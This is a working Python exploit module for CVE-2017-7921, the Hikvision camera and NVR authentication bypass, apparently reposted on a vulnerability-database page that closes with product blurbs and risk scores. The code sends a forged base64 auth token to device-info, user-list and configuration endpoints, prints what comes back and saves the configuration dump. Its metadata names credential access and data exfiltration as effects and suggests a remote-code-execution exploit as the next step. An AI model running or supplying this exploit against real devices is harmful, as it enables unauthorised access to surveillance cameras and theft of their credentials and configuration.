Hikvision Auth Bypass (CVE-2017-7921)
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hikvision auth bypass and config leak (CVE-2017-7921)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Hikvision Auth Bypass (CVE-2017-7921)',
'description': (
'Exploits CVE-2017-7921 in multiple Hikvision cameras/NVRs: forged auth '
'parameter grants access to deviceInfo and configuration download endpoints.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-7921'],
'platform': Platform.LINUX,
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-7921',
'https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01',
],
'tags': ['hikvision', 'camera', 'iot', 'auth-bypass', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 4,
'reversible': True,
'approval_required': True,
'produces': ['credentials', 'file_read'],
'chain': {
'suggested_followups': [
'scanner/http/cve_2017_7921_detect',
'exploits/linux/http/hikvision_cve_2021_36260_rce',
],
},
},
}
auth_param = OptString('YWRtaW46MTEK', 'Base64 auth bypass token', required=False, advanced=True)
output_file = OptString('', 'Save config dump locally', required=False)
def _auth_query(self) -> str:
return f'auth={str(self.auth_param or "YWRtaW46MTEK").strip()}'
def check(self):
path = f'/system/deviceInfo?{self._auth_query()}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.status_code == 200 and '<firmwareVersion>' in (r.text or ''):
return {'vulnerable': True, 'reason': 'Hikvision auth bypass confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'deviceInfo not accessible', 'confidence': 'medium'}
def run(self):
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason'))
return False
q = self._auth_query()
for path in (
f'/system/deviceInfo?{q}',
f'/configManager.cgi?action=getConfig&name=General&{q}',
f'/Security/users?{q}',
):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.status_code == 200:
print_success(f'{path} — {len(r.text or "")} bytes')
print_status((r.text or '')[:1500])
cfg = self.http_request(
method='GET',
path=f'/System/configurationFile?{q}',
allow_redirects=False,
)
if cfg and cfg.content:
out = str(self.output_file or '').strip()
if out:
with open(out, 'wb') as fh:
fh.write(cfg.content)
print_success(f'Configuration saved to {out} ({len(cfg.content)} bytes)')
else:
print_success(f'configurationFile retrieved ({len(cfg.content)} bytes)')
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.99998
SSVC